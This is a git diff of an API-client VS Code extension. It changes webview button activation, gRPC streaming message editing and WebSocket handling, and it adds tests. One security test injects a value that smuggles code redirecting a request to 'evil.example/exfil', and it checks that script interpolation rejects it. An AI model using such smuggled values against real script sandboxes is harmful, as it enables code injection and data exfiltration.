     action();
   }, true);
 
+  document.addEventListener('mouseup', (event: MouseEvent) => {
+    if (!suppressNextClick) return;
+    const target = event.target;
+    if (!(target instanceof Node) || !button.contains(target)) {
+      suppressNextClick = false;
+      return;
+    }
+    suppressionResetTimer = setTimeout(() => {
+      suppressNextClick = false;
+      suppressionResetTimer = undefined;
+    }, 0);
+  }, true);
+
   button.addEventListener('click', (event: MouseEvent) => {
     if (suppressNextClick) {
+      if (suppressionResetTimer) clearTimeout(suppressionResetTimer);
+      suppressionResetTimer = undefined;
       suppressNextClick = false;
       event.preventDefault();
-      event.stopPropagation();
       return;
     }
     if (button.disabled) return;
     event.preventDefault();
-    event.stopPropagation();
     action();
   }, true);
 
@@ -1771,7 +1899,6 @@ function bindFirstActivationButton(button: HTMLButtonElement, action: () => void
     if (event.repeat || (event.key !== 'Enter' && event.key !== ' ')) return;
     if (button.disabled) return;
     event.preventDefault();
-    event.stopPropagation();
     action();
   }, true);
 }
@@ -1835,9 +1962,13 @@ function loadRequest(req: any): PanelProtocol {
   ($('graphqlVariablesData') as HTMLTextAreaElement).value = '';
   const requestBody = (protocol === 'websocket' || protocol === 'grpc') ? details.message : details.body;
   if (requestBody) {
+    const grpcMessageSequence = protocol === 'grpc' && isGrpcStreamingMessageSequence(details);
     _selectedBodyVariantIndex = Array.isArray(requestBody)
-      ? Math.max(0, requestBody.findIndex((v: any) => v.selected))
+      ? (grpcMessageSequence ? 0 : Math.max(0, requestBody.findIndex((v: any) => v.selected)))
       : undefined;
+    if (grpcMessageSequence) {
+      configureGrpcMessageSelector(requestBody, _selectedBodyVariantIndex);
+    }
     const body = Array.isArray(requestBody)
       ? (protocol === 'websocket' || protocol === 'grpc'
           ? requestBody[_selectedBodyVariantIndex ?? 0]?.message
@@ -2125,6 +2256,7 @@ window.addEventListener('message', (event: MessageEvent) => {
         break;
       }
       try {
+        clearRequestActionPending();
         const protocol = loadRequest(msg.request);
         setEditorHydrationState('ready', protocol);
       } catch (error) {
@@ -2136,6 +2268,7 @@ window.addEventListener('message', (event: MessageEvent) => {
       setEditorHydrationState('invalid', 'pending', msg.message);
       break;
     case 'response':
+      clearRequestActionPending();
       $('exampleIndicator').style.display = 'none';
       closeSearch();
       showResponse(msg.response, msg.preRequestMs, msg.timing, msg.usedOAuth2);
@@ -2146,11 +2279,13 @@ window.addEventListener('message', (event: MessageEvent) => {
       tokenStatusCtrl.requestStatus();
       break;
     case 'webSocketSession':
+      clearRequestActionPending();
       hideLoading();
       setSendingState(false);
       setWebSocketSession(msg.session as WebSocketSessionSnapshot);
       break;
     case 'webSocketConnecting':
+      setPrimaryRequestActionPending(false);
       showLoading();
       setLoadingText('Connecting WebSocket...');
       setWebSocketSession({
@@ -2162,6 +2297,7 @@ window.addEventListener('message', (event: MessageEvent) => {
       if (msg.message) setLoadingText(msg.message);
       break;
     case 'webSocketError':
+      clearRequestActionPending();
       hideLoading();
       setSendingState(false);
       setWebSocketSession({
@@ -2171,6 +2307,7 @@ window.addEventListener('message', (event: MessageEvent) => {
       });
       break;
     case 'sending':
+      setPrimaryRequestActionPending(false);
       if (!isSending) showLoading();
       setSendingState(true);
       if (msg.message) setLoadingText(msg.message);
@@ -2185,6 +2322,7 @@ window.addEventListener('message', (event: MessageEvent) => {
       break;
     }
     case 'cancelled': {
+      clearRequestActionPending();
       hideLoading();
       setSendingState(false);
       $('responseBar').style.display = 'flex';
@@ -2195,6 +2333,7 @@ window.addEventListener('message', (event: MessageEvent) => {
       break;
     }
     case 'error':
+      clearRequestActionPending();
       hideLoading();
       setSendingState(false);
       break;
@@ -2329,25 +2468,32 @@ $('varToggleBtn').addEventListener('click', () => {
 $('wsClearHistoryBtn').addEventListener('click', () => {
   _webSocketVisibleEvents = [];
   renderWebSocketSession();
+  vscode.postMessage({ type: 'webSocketClearHistory' });
 });
 $('wsCopyHistoryBtn').addEventListener('click', () => {
   const text = JSON.stringify(_webSocketVisibleEvents, null, 2);
   navigator.clipboard.writeText(text).then(() => {
     const btn = $('wsCopyHistoryBtn');
-    const original = btn.textContent;
+    if (_webSocketCopyResetTimer) clearTimeout(_webSocketCopyResetTimer);
     btn.textContent = 'Copied';
-    setTimeout(() => { btn.textContent = original; }, 1200);
+    _webSocketCopyResetTimer = setTimeout(() => {
+      btn.textContent = 'Copy';
+      _webSocketCopyResetTimer = undefined;
+    }, 1200);
+  }).catch(error => {
+    console.error('Failed to copy WebSocket history', error);
+    $('wsCopyHistoryBtn').textContent = 'Copy';
   });
 });
 document.addEventListener('keydown', (e: KeyboardEvent) => {
   if ((e.ctrlKey || e.metaKey) && e.key === 'Enter') {
     e.preventDefault();
     if (_currentProtocol === 'websocket') {
-      if (webSocketCanSend()) sendWebSocketMessage();
-      else connectWebSocket();
+      if (webSocketCanSend()) activateWebSocketSendMessageAction();
+      else activatePrimaryRequestAction();
       return;
     }
-    sendRequest();
+    activatePrimaryRequestAction();
   }
 });
 $('showRawBtn').addEventListener('click', () => {
@@ -2535,6 +2681,18 @@ $('bodyLangMode').addEventListener('change', () => {
   syncAutoContentType();
   scheduleDocumentUpdate();
 });
+$('grpcMessageSelect').addEventListener('change', () => {
+  if (_currentProtocol !== 'grpc') return;
+  const selector = $('grpcMessageSelect') as HTMLSelectElement;
+  const nextIndex = Number.parseInt(selector.value, 10);
+  if (!Number.isFinite(nextIndex)) return;
+
+  // Capture edits to the current sequence entry before replacing the textarea
+  // with the newly selected message.
+  setCurrentRequest(buildRequest());
+  showGrpcMessageAt(nextIndex);
+  scheduleDocumentUpdate();
+});
 
 // Ctrl+S / Cmd+S to save
 document.addEventListener('keydown', (e: KeyboardEvent) => {
diff --git a/test/grpcSupport.test.ts b/test/grpcSupport.test.ts
index c026ec2..e7219c5 100644
--- a/test/grpcSupport.test.ts
+++ b/test/grpcSupport.test.ts
@@ -505,14 +505,15 @@ describe('gRPC execution', () => {
         scripts: [
           {
             type: 'before-request' as const,
-            code: 'missio.variables.set("grpcRuntimeName", "{{grpcRuntimeNameSeeded}}");',
+            code: 'missio.variables.set("grpcRuntimeName", missio.variables.get("grpcRuntimeNameSeeded"));',
           },
           {
             type: 'before-request' as const,
             code: [
-              'missio.variables.set("grpcRuntimeTrace", "runtime-{{grpcRequestId}}");',
-              'missio.request.metadata.set("x-demo-request", "script-{{grpcRequestId}}");',
-              'missio.request.body = { name: "{{grpcRuntimeName}}", userId: Number("{{grpcRuntimeUserId}}"), trace: { requestId: "{{grpcRuntimeTrace}}" } };',
+              'const grpcRequestId = missio.variables.get("grpcRequestId");',
+              'missio.variables.set("grpcRuntimeTrace", `runtime-${grpcRequestId}`);',
+              'missio.request.metadata.set("x-demo-request", `script-${grpcRequestId}`);',
+              'missio.request.body = { name: missio.variables.get("grpcRuntimeName"), userId: Number(missio.variables.get("grpcRuntimeUserId")), trace: { requestId: missio.variables.get("grpcRuntimeTrace") } };',
             ].join('\n'),
           },
           {
diff --git a/test/protocolLayoutStability.test.ts b/test/protocolLayoutStability.test.ts
index 670b69a..ca1abea 100644
--- a/test/protocolLayoutStability.test.ts
+++ b/test/protocolLayoutStability.test.ts
@@ -161,6 +161,20 @@ function dispatchMouseActivationSequence(element: HTMLElement): void {
   element.dispatchEvent(new view.MouseEvent('click', { bubbles: true, cancelable: true, button: 0 }));
 }
 
+function dispatchMouseUp(element: HTMLElement): void {
+  const view = element.ownerDocument.defaultView!;
+  element.dispatchEvent(new view.MouseEvent('mouseup', { bubbles: true, cancelable: true, button: 0 }));
+}
+
+function dispatchGlobalSendShortcut(dom: JSDOM): void {
+  document.dispatchEvent(new dom.window.KeyboardEvent('keydown', {
+    bubbles: true,
+    cancelable: true,
+    ctrlKey: true,
+    key: 'Enter',
+  }));
+}
+
 function dispatchKeyboardActivation(element: HTMLElement, key: 'Enter' | ' '): void {
   const view = element.ownerDocument.defaultView!;
   element.dispatchEvent(new view.KeyboardEvent('keydown', { bubbles: true, cancelable: true, key }));
@@ -412,6 +426,41 @@ describe('OC-130 request editor first paint', () => {
     expect(runtimeTab.style.display).toBe('');
     expect(runtimeResults.textContent).toContain('Assertions');
     expect(runtimeResults.textContent).toContain('Expected hello equals ok');
+
+    runtimeTab.click();
+    expect(runtimeTab.className).toContain('active');
+    expect((document.getElementById('panel-resp-runtime') as HTMLElement).className).toContain('active');
+
+    dispatchPanelMessage(dom, {
+      type: 'response',
+      response: {
+        status: 101,
+        statusText: 'WebSocket Session',
+        headers: { 'content-type': 'application/json', 'x-missio-protocol': 'websocket' },
+        body: JSON.stringify({
+          protocol: 'websocket',
+          state: 'closed',
+          messageCount: 1,
+          events: [{ timestamp: '2026-06-15T01:02:04.000Z', direction: 'inbound', type: 'text', data: 'again' }],
+        }),
+        runtime: {
+          success: true,
+          summary: { passed: 1, failed: 0, skipped: 0 },
+          tests: [],
+          assertions: [{ expression: 'res.status', operator: 'equals', expected: 101, actual: 101, passed: true }],
+          actions: [],
+          variableMutations: [],
+          logs: [],
+          errors: [],
+        },
+        duration: 14,
+        size: 0,
+      },
+    });
+
+    expect(runtimeTab.className).toContain('active');
+    expect((document.getElementById('panel-resp-runtime') as HTMLElement).className).toContain('active');
+    expect((document.getElementById('panel-resp-body') as HTMLElement).className).not.toContain('active');
   });
 
   it.each(['http', 'graphql', 'grpc'] as RequestProtocol[])('restores normal response layout when switching from WebSocket to %s', async (protocol) => {
@@ -442,6 +491,7 @@ describe('OC-130 request editor first paint', () => {
 
     expect(document.getElementById('responseSection')?.className).not.toContain('websocket-response-tabs');
     expect(document.querySelector<HTMLElement>('#respTabs [data-tab="resp-body"]')?.textContent).toBe('Body');
+    expect((document.getElementById('responseBar') as HTMLElement).style.display).toBe('flex');
     expect((document.getElementById('respTabs') as HTMLElement).style.display).toBe('flex');
     expect((document.getElementById('respEmpty') as HTMLElement).style.display).toBe('none');
     expect((document.getElementById('respBodyWrap') as HTMLElement).style.display).toBe('block');
@@ -506,6 +556,51 @@ describe('OC-130 request editor first paint', () => {
   });
 });
 
+describe('gRPC streaming message authoring', () => {
+  it.each(['client-streaming', 'bidi-streaming'])('selects, edits, and saves every message in a %s sequence', async (methodType) => {
+    const { dom, messages } = await loadRequestPanel();
+    const request = requestForProtocol('grpc');
+    request.grpc.methodType = methodType;
+    request.grpc.message = [
+      { description: 'First streamed user', message: '{"name":"Ada"}' },
+      { description: 'Second streamed user', message: '{"name":"Grace"}' },
+    ];
+
+    dispatchPanelMessage(dom, { type: 'requestLoaded', request, filePath: `${methodType}.yml` });
+
+    const selector = document.getElementById('grpcMessageSelect') as HTMLSelectElement;
+    const body = document.getElementById('bodyData') as HTMLTextAreaElement;
+    expect(selector.style.display).toBe('');
+    expect(selector.disabled).toBe(false);
+    expect(Array.from(selector.options).map(option => option.textContent)).toEqual([
+      'Message 1 of 2: First streamed user',
+      'Message 2 of 2: Second streamed user',
+    ]);
+    expect(body.value).toBe('{"name":"Ada"}');
+
+    body.value = '{"name":"Augusta"}';
+    selector.value = '1';
+    selector.dispatchEvent(new dom.window.Event('change', { bubbles: true }));
+    expect(body.value).toBe('{"name":"Grace"}');
+
+    body.value = '{"name":"Katherine"}';
+    const beforeSave = messages.length;
+    document.dispatchEvent(new dom.window.KeyboardEvent('keydown', {
+      key: 's',
+      ctrlKey: true,
+      bubbles: true,
+      cancelable: true,
+    }));
+
+    const saved = messagesOfType(messages, 'saveDocument', beforeSave);
+    expect(saved).toHaveLength(1);
+    expect(saved[0].request.grpc.message).toEqual([
+      { description: 'First streamed user', message: '{"name":"Augusta"}' },
+      { description: 'Second streamed user', message: '{"name":"Katherine"}' },
+    ]);
+  });
+});
+
 describe('OC-170 request action first-click reliability', () => {
   it.each(['http', 'graphql', 'grpc'] as RequestProtocol[])('fires %s Send on the first mouse-down after hydration', async (protocol) => {
     const { dom, messages } = await loadRequestPanel();
@@ -532,6 +627,9 @@ describe('OC-170 request action first-click reliability', () => {
     const sent = messagesOfType(messages, 'sendRequest', beforeAction);
 
     expect(sent).toHaveLength(1);
+    expect(document.activeElement).toBe(sendBtn);
+    expect(sendBtn.disabled).toBe(true);
+    expect(sendBtn.title).toBe('Waiting for request action');
     expect(sent[0].request.info.type).toBe(protocol);
     if (protocol === 'graphql') {
       expect(sent[0].request.graphql.body.query).toBe('query EditedFirstClick { health { status } }');
@@ -593,6 +691,84 @@ describe('OC-170 request action first-click reliability', () => {
     expect(messagesOfType(messages, 'sendRequest', beforeAction)).toHaveLength(1);
   });
 
+  it.each(['http', 'graphql', 'grpc'] as RequestProtocol[])('prevents duplicate %s Send before host acknowledgement', async (protocol) => {
+    const { dom, messages } = await loadRequestPanel();
+    dispatchPanelMessage(dom, { type: 'requestLoaded', request: requestForProtocol(protocol), filePath: `${protocol}.yml` });
+    const sendBtn = document.getElementById('sendBtn') as HTMLButtonElement;
+
+    const beforeAction = messages.length;
+    dispatchMouseDown(sendBtn);
+    dispatchMouseDown(sendBtn);
+    dispatchGlobalSendShortcut(dom);
+
+    expect(messagesOfType(messages, 'sendRequest', beforeAction)).toHaveLength(1);
+    expect(sendBtn.disabled).toBe(true);
+
+    dispatchPanelMessage(dom, { type: 'sending' });
+    expect(sendBtn.disabled).toBe(false);
+    expect(sendBtn.textContent).toBe('Cancel');
+  });
+
+  it('prevents duplicate WebSocket lifecycle and message actions before host acknowledgement', async () => {
+    const { dom, messages } = await loadRequestPanel();
+    dispatchPanelMessage(dom, { type: 'requestLoaded', request: requestForProtocol('websocket'), filePath: 'websocket.yml' });
+    const lifecycleBtn = document.getElementById('sendBtn') as HTMLButtonElement;
+    const sendMessageBtn = document.getElementById('wsSendBtn') as HTMLButtonElement;
+
+    let beforeAction = messages.length;
+    dispatchMouseDown(lifecycleBtn);
+    dispatchMouseDown(lifecycleBtn);
+    expect(messagesOfType(messages, 'webSocketConnect', beforeAction)).toHaveLength(1);
+
+    dispatchPanelMessage(dom, {
+      type: 'webSocketSession',
+      session: { requestId: 'websocket.yml', state: 'connected', events: [], inboundCount: 0, outboundCount: 0 },
+    });
+
+    beforeAction = messages.length;
+    dispatchMouseDown(sendMessageBtn);
+    dispatchMouseDown(sendMessageBtn);
+    dispatchGlobalSendShortcut(dom);
+    expect(messagesOfType(messages, 'webSocketSendMessage', beforeAction)).toHaveLength(1);
+
+    beforeAction = messages.length;
+    dispatchMouseDown(lifecycleBtn);
+    dispatchMouseDown(lifecycleBtn);
+    expect(messagesOfType(messages, 'webSocketDisconnect', beforeAction)).toHaveLength(1);
+  });
+
+  it('preserves button focus and event propagation for mouse activation', async () => {
+    const { dom, messages } = await loadRequestPanel();
+    dispatchPanelMessage(dom, { type: 'requestLoaded', request: requestForProtocol('http'), filePath: 'http.yml' });
+    const sendBtn = document.getElementById('sendBtn') as HTMLButtonElement;
+    const mouseDown = vi.fn();
+    const click = vi.fn();
+    document.addEventListener('mousedown', mouseDown);
+    document.addEventListener('click', click);
+
+    const beforeAction = messages.length;
+    dispatchMouseActivationSequence(sendBtn);
+
+    expect(messagesOfType(messages, 'sendRequest', beforeAction)).toHaveLength(1);
+    expect(document.activeElement).toBe(sendBtn);
+    expect(mouseDown).toHaveBeenCalledTimes(1);
+    expect(click).toHaveBeenCalledTimes(1);
+  });
+
+  it('clears abandoned click suppression when mouse-up occurs outside the button', async () => {
+    const { dom, messages } = await loadRequestPanel();
+    dispatchPanelMessage(dom, { type: 'requestLoaded', request: requestForProtocol('http'), filePath: 'http.yml' });
+    const sendBtn = document.getElementById('sendBtn') as HTMLButtonElement;
+
+    dispatchMouseDown(sendBtn);
+    dispatchMouseUp(document.body);
+    dispatchPanelMessage(dom, { type: 'error' });
+
+    const beforeAction = messages.length;
+    sendBtn.click();
+    expect(messagesOfType(messages, 'sendRequest', beforeAction)).toHaveLength(1);
+  });
+
   it.each(['http', 'graphql', 'grpc'] as RequestProtocol[])('supports keyboard activation for %s Send', async (protocol) => {
     const { dom, messages } = await loadRequestPanel();
     dispatchPanelMessage(dom, { type: 'requestLoaded', request: requestForProtocol(protocol), filePath: `${protocol}.yml` });
@@ -602,6 +778,8 @@ describe('OC-170 request action first-click reliability', () => {
     dispatchKeyboardActivation(sendBtn, 'Enter');
     expect(messagesOfType(messages, 'sendRequest', beforeAction)).toHaveLength(1);
 
+    dispatchPanelMessage(dom, { type: 'sending' });
+    dispatchPanelMessage(dom, { type: 'cancelled' });
     beforeAction = messages.length;
     dispatchKeyboardActivation(sendBtn, ' ');
     expect(messagesOfType(messages, 'sendRequest', beforeAction)).toHaveLength(1);
diff --git a/test/runtimeAuthoringUx.test.ts b/test/runtimeAuthoringUx.test.ts
index e2c3836..255d9b7 100644
--- a/test/runtimeAuthoringUx.test.ts
+++ b/test/runtimeAuthoringUx.test.ts
@@ -251,6 +251,30 @@ describe('OC-110 runtime authoring model', () => {
     expect(updated.runtime.scripts[0].code).toContain('grpcEdited');
     validateSubschema('grpc', updated);
   });
+
+  it('edits one gRPC streaming message without dropping its sequence siblings or descriptions', () => {
+    const request = requestForProtocol('grpc');
+    request.grpc.methodType = 'client-streaming';
+    request.grpc.message = [
+      { description: 'First streamed user', message: '{"name":"Ada"}' },
+      { description: 'Second streamed user', message: '{"name":"Grace"}' },
+    ];
+    const model = createRequestEditorModelFromRequest(request) as RequestEditorModel;
+    model.body = {
+      kind: 'raw',
+      rawType: 'json',
+      data: '{"name":"Katherine"}',
+      bodyVariantIndex: 1,
+    };
+
+    const updated = applyRequestEditorModel(request, model) as any;
+
+    expect(updated.grpc.message).toEqual([
+      { description: 'First streamed user', message: '{"name":"Ada"}' },
+      { description: 'Second streamed user', message: '{"name":"Katherine"}' },
+    ]);
+    validateSubschema('grpc', updated);
+  });
 });
 
 describe('OC-110 runtime authoring UI shell', () => {
diff --git a/test/runtimeExecutionService.test.ts b/test/runtimeExecutionService.test.ts
index 65d6caf..eefd220 100644
--- a/test/runtimeExecutionService.test.ts
+++ b/test/runtimeExecutionService.test.ts
@@ -204,11 +204,61 @@ describe('RuntimeExecutionService lifecycle', () => {
       expression: 'res.body.{{missingField}}',
       expected: '{{missingExpected}}',
       description: 'Needs {{missingDescription}}',
-      message: 'Unresolved assertion variables: {{missingField}}, {{missingExpected}}, {{missingDescription}}',
+      message: 'Unresolved assertion variables: {{missingField}}, {{missingExpected}}',
     });
   });
 
-  it('evaluates runtime variable values and interpolates script source before execution', async () => {
+  it('keeps unresolved description variables cosmetic', async () => {
+    const service = new RuntimeExecutionService(async () => new Map());
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'http://127.0.0.1/runtime' },
+      runtime: {
+        assertions: [{
+          expression: 'res.body.name',
+          operator: 'equals',
+          value: 'Ada',
+          description: 'Owner {{missingDescription}}',
+        }],
+      },
+    };
+
+    const prepared = await service.prepareHttpRequest(request, makeCollection());
+    const response = await service.completeHttpRequest(prepared, makeResponse({ name: 'Ada' }));
+
+    expect(response.runtime?.success).toBe(true);
+    expect(response.runtime?.assertions[0]).toMatchObject({
+      passed: true,
+      description: 'Owner {{missingDescription}}',
+    });
+  });
+
+  it('does not re-scan placeholders introduced by resolved assertion values', async () => {
+    const service = new RuntimeExecutionService(async () => new Map([
+      ['literalExpected', '{{bar}}'],
+    ]));
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'http://127.0.0.1/runtime' },
+      runtime: {
+        assertions: [{
+          expression: 'res.body.value',
+          operator: 'equals',
+          value: '{{literalExpected}}',
+        }],
+      },
+    };
+
+    const prepared = await service.prepareHttpRequest(request, makeCollection());
+    const response = await service.completeHttpRequest(prepared, makeResponse({ value: '{{bar}}' }));
+
+    expect(response.runtime?.success).toBe(true);
+    expect(response.runtime?.assertions[0]).toMatchObject({
+      passed: true,
+      expected: '{{bar}}',
+      actual: '{{bar}}',
+    });
+  });
+
+  it('evaluates runtime variable values for the script data API before execution', async () => {
     const service = new RuntimeExecutionService(async () => new Map([
       ['owner', 'Ada'],
       ['headerSeed', 'scripted'],
@@ -229,14 +279,14 @@ describe('RuntimeExecutionService lifecycle', () => {
           {
             type: 'before-request',
             code: [
-              'missio.request.setHeader("X-Combined", "{{combined}}");',
-              'missio.request.setHeader("X-Unresolved", "{{unresolved}}");',
-              'missio.variables.set("lateHeader", "late-{{requestHeader}}");',
+              'missio.request.setHeader("X-Combined", missio.variables.get("combined"));',
+              'missio.request.setHeader("X-Unresolved", missio.variables.get("unresolved"));',
+              'missio.variables.set("lateHeader", `late-${missio.variables.get("requestHeader")}`);',
             ].join('\n'),
           },
           {
             type: 'before-request',
-            code: 'missio.request.setHeader("X-Late", "{{lateHeader}}");',
+            code: 'missio.request.setHeader("X-Late", missio.variables.get("lateHeader"));',
           },
         ],
       },
@@ -257,14 +307,14 @@ describe('RuntimeExecutionService lifecycle', () => {
     ]);
   });
 
-  it('keeps interpolated script source inside the runtime sandbox', async () => {
+  it('rejects script-source interpolation before variable data can become code', async () => {
     const service = new RuntimeExecutionService(async () => new Map([
-      ['unsafeScript', 'require("fs").readFileSync("package.json", "utf8");'],
+      ['unsafeScript', 'x"); missio.request.url = "https://evil.example/exfil"; ("'],
     ]));
     const request: HttpRequest = {
       http: { method: 'GET', url: 'http://127.0.0.1/runtime' },
       runtime: {
-        scripts: [{ type: 'before-request', code: '{{unsafeScript}}' }],
+        scripts: [{ type: 'before-request', code: 'missio.request.setHeader("X-Value", "{{unsafeScript}}");' }],
       },
     };
 
@@ -274,7 +324,8 @@ describe('RuntimeExecutionService lifecycle', () => {
     try {
       await service.prepareHttpRequest(request, makeCollection());
     } catch (error) {
-      expect((error as RuntimeExecutionError).runtime.errors[0].message).toMatch(/require is not defined/);
+      expect((error as RuntimeExecutionError).runtime.errors[0].message).toMatch(/script source interpolation is not supported/i);
+      expect((error as RuntimeExecutionError).runtime.errors[0].message).toContain('missio.variables.get("name")');
     }
   });
 
diff --git a/test/runtimeScriptVariableSecurity.test.ts b/test/runtimeScriptVariableSecurity.test.ts
new file mode 100644
index 0000000..8aa31ae
--- /dev/null
+++ b/test/runtimeScriptVariableSecurity.test.ts
@@ -0,0 +1,114 @@
+import { describe, expect, it } from 'vitest';
+import type { HttpRequest, HttpResponse, MissioCollection } from '../src/models/types';
+import { RequestExecutionService } from '../src/services/requestExecutionService';
+import { RuntimeExecutionService } from '../src/services/runtimeExecutionService';
+
+function makeCollection(): MissioCollection {
+  return {
+    id: 'runtime-variable-security',
+    filePath: 'C:/runtime-variable-security/opencollection.yml',
+    rootDir: 'C:/runtime-variable-security',
+    data: {
+      opencollection: '1.0.0',
+      info: { name: 'Runtime variable security' },
+      request: {},
+      config: { environments: [] },
+    },
+  } as MissioCollection;
+}
+
+function makeResponse(): HttpResponse {
+  return {
+    status: 200,
+    statusText: 'OK',
+    headers: {},
+    body: '{}',
+    duration: 1,
+    size: 2,
+  };
+}
+
+describe('runtime script variable security', () => {
+  it('resolves same-name request variables from their base scope', async () => {
+    const runtime = new RuntimeExecutionService(async () => new Map([['owner', 'base']]));
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com/{{owner}}' },
+      runtime: { variables: [{ name: 'owner', value: '{{owner}}-request' }] },
+    };
+
+    const variables = await runtime.buildRequestVariableOverrides(request, makeCollection());
+
+    expect(variables?.get('owner')).toBe('base-request');
+  });
+
+  it('resolves acyclic request-variable chains deeper than ten references', async () => {
+    const runtime = new RuntimeExecutionService();
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com/{{value0}}' },
+      runtime: {
+        variables: Array.from({ length: 12 }, (_, index) => ({
+          name: `value${index}`,
+          value: index === 11 ? 'resolved' : `{{value${index + 1}}}`,
+        })),
+      },
+    };
+
+    const variables = await runtime.buildRequestVariableOverrides(request, makeCollection());
+
+    expect(variables?.get('value0')).toBe('resolved');
+  });
+
+  it('reports cyclic request-variable references instead of leaving partial values', async () => {
+    const runtime = new RuntimeExecutionService();
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com' },
+      runtime: {
+        variables: [
+          { name: 'first', value: '{{second}}' },
+          { name: 'second', value: '{{first}}' },
+        ],
+      },
+    };
+
+    await expect(runtime.buildRequestVariableOverrides(request, makeCollection()))
+      .rejects.toThrow('Cyclic runtime variable reference: first, second');
+  });
+
+  it('uses the same base-aware request-variable scope for dry-run and send', async () => {
+    let dryRunVariables: Map<string, string> | undefined;
+    let sendVariables: Map<string, string> | undefined;
+    const httpClient = {
+      buildResolvedRequest: async (
+        _request: HttpRequest,
+        _collection: MissioCollection,
+        _folderDefaults: unknown,
+        variables?: Map<string, string>,
+      ) => {
+        dryRunVariables = variables;
+        return { method: 'GET', url: 'https://example.com', headers: {} };
+      },
+      send: async (
+        _request: HttpRequest,
+        _collection: MissioCollection,
+        _folderDefaults: unknown,
+        _onProgress: unknown,
+        variables?: Map<string, string>,
+      ) => {
+        sendVariables = variables;
+        return makeResponse();
+      },
+    } as any;
+    const runtime = new RuntimeExecutionService(async () => new Map([['owner', 'base']]));
+    const execution = new RequestExecutionService(httpClient, undefined, undefined, runtime);
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com/{{owner}}' },
+      runtime: { variables: [{ name: 'owner', value: '{{owner}}-request' }] },
+    };
+
+    await execution.buildResolvedRequest(request, makeCollection());
+    await execution.send(request, makeCollection());
+
+    expect(dryRunVariables?.get('owner')).toBe('base-request');
+    expect(sendVariables?.get('owner')).toBe('base-request');
+  });
+});
diff --git a/test/webSocketLifecycleReviewFixes.test.ts b/test/webSocketLifecycleReviewFixes.test.ts
new file mode 100644
index 0000000..e680b29
--- /dev/null
+++ b/test/webSocketLifecycleReviewFixes.test.ts
@@ -0,0 +1,313 @@
+import { afterEach, describe, expect, it, vi } from 'vitest';
+import { JSDOM } from 'jsdom';
+import * as path from 'path';
+import WebSocket from 'ws';
+import { WebSocketSessionTool } from '../src/copilot/tools/webSocketSessionTool';
+import { RequestEditorProvider } from '../src/panels/requestPanel';
+import {
+  MAX_WEBSOCKET_SESSION_EVENTS,
+  WebSocketClient,
+} from '../src/services/webSocketClient';
+
+function makeEnvironmentService() {
+  return {
+    interpolate: (value: string, variables: Map<string, string>) =>
+      value.replace(/\{\{\s*([\w.$-]+)\s*\}\}/g, (match, name) => variables.get(name) ?? match),
+    interpolateJson: (value: string, variables: Map<string, string>) =>
+      value.replace(/\{\{\s*([\w.$-]+)\s*\}\}/g, (match, name) => variables.get(name) ?? match),
+    resolveVariables: vi.fn().mockResolvedValue(new Map()),
+  } as any;
+}
+
+function activeSession(socket: any) {
+  const now = new Date().toISOString();
+  return {
+    requestId: 'socket.yml',
+    requestFilePath: 'socket.yml',
+    requestName: 'Review socket',
+    state: 'connected',
+    socket,
+    resolved: {
+      url: 'wss://example.test/ws?sig=live-signature&mode=echo',
+      headers: {},
+      variables: new Map<string, string>(),
+      secretProviders: [{ name: 'kv', type: 'azure-keyvault', namespace: 'example' }],
+      message: { type: 'text', data: 'default' },
+    },
+    events: [],
+    inboundCount: 0,
+    outboundCount: 0,
+    createdAt: now,
+    updatedAt: now,
+    closeWaiters: [],
+  };
+}
+
+function makeProvider(): RequestEditorProvider {
+  return new RequestEditorProvider(
+    { extensionUri: { fsPath: process.cwd() } } as any,
+    {} as any,
+    {} as any,
+    {} as any,
+    {} as any,
+    {} as any,
+  );
+}
+
+async function loadRequestPanel(): Promise<{ dom: JSDOM; messages: any[] }> {
+  vi.resetModules();
+  const body = (makeProvider() as any)._getBodyHtml({} as any) as string;
+  const dom = new JSDOM(`<!doctype html><html><body>${body}</body></html>`, { url: 'https://missio.test' });
+  const messages: any[] = [];
+  const win = dom.window as any;
+
+  Object.assign(globalThis as any, {
+    window: win,
+    document: win.document,
+    Node: win.Node,
+    NodeFilter: win.NodeFilter,
+    HTMLElement: win.HTMLElement,
+    HTMLInputElement: win.HTMLInputElement,
+    HTMLTextAreaElement: win.HTMLTextAreaElement,
+    HTMLSelectElement: win.HTMLSelectElement,
+    HTMLButtonElement: win.HTMLButtonElement,
+    HTMLPreElement: win.HTMLPreElement,
+    HTMLImageElement: win.HTMLImageElement,
+    HTMLCanvasElement: win.HTMLCanvasElement,
+    Event: win.Event,
+    KeyboardEvent: win.KeyboardEvent,
+    MouseEvent: win.MouseEvent,
+    WheelEvent: win.WheelEvent,
+    ClipboardEvent: win.ClipboardEvent,
+    DOMParser: win.DOMParser,
+    Image: win.Image,
+    requestAnimationFrame: (callback: FrameRequestCallback) => setTimeout(() => callback(0), 0),
+    cancelAnimationFrame: (handle: ReturnType<typeof setTimeout>) => clearTimeout(handle),
+    acquireVsCodeApi: () => ({
+      postMessage: (message: unknown) => messages.push(message),
+      getState: vi.fn(),
+      setState: vi.fn(),
+    }),
+  });
+  Object.defineProperty(win.HTMLCanvasElement.prototype, 'getContext', { value: vi.fn(() => ({})), configurable: true });
+  await import('../src/webview/requestPanel');
+  return { dom, messages };
+}
+
+function dispatchPanelMessage(dom: JSDOM, data: unknown): void {
+  dom.window.dispatchEvent(new dom.window.MessageEvent('message', { data }));
+}
+
+afterEach(() => {
+  vi.restoreAllMocks();
+  vi.resetModules();
+  for (const key of [
+    'window', 'document', 'Node', 'NodeFilter', 'HTMLElement', 'HTMLInputElement',
+    'HTMLTextAreaElement', 'HTMLSelectElement', 'HTMLButtonElement', 'HTMLPreElement',
+    'HTMLImageElement', 'HTMLCanvasElement', 'Event', 'KeyboardEvent', 'MouseEvent',
+    'WheelEvent', 'ClipboardEvent', 'DOMParser', 'Image', 'requestAnimationFrame',
+    'cancelAnimationFrame', 'acquireVsCodeApi',
+  ]) {
+    delete (globalThis as any)[key];
+  }
+});
+
+describe('OC-140 review fixes', () => {
+  it('redacts all model-visible WebSocket payload and URL credential channels', async () => {
+    const session = {
+      requestId: 'socket.yml',
+      state: 'closed',
+      url: 'wss://user:password@example.test/ws?sig=live-signature&mode=echo',
+      events: [
